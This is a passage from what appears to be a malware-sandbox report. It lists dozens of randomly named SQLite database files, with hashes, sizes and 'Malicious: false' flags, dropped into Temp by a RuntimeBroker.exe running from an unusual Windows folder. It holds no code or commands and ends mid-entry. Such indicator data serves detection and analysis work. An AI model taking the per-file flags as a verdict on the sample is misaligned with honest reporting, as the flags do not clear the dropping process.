Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8VvoANPRrM

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8b33uqDryU

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\96dyxmiQGw

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9YDkCEequl

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9w08GVWzdn

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A4UHy4Zpco

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AQatBbJ5pF

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AoeS8TOKyQ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ap5qYhZPvf

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BVY4CFkbFp

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BzTFt7rEOR

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CBbUCpOigx

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cjf6e2zg5F

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CwbJ0mVCgt

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DIaXvkH4vv

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Db4NCwLatJ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DkSlZcNwi8

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E4pUVD9HVQ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E8fbb1qpUU

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ECIQTzoS5j

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ElYZe8brfu

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EqCxbtZcYB

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ErS3ckHZax

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F5v0I4Bo7c

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F9uooRCp5I

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FGYGf5LPQ8

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FUp0wO39cv

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
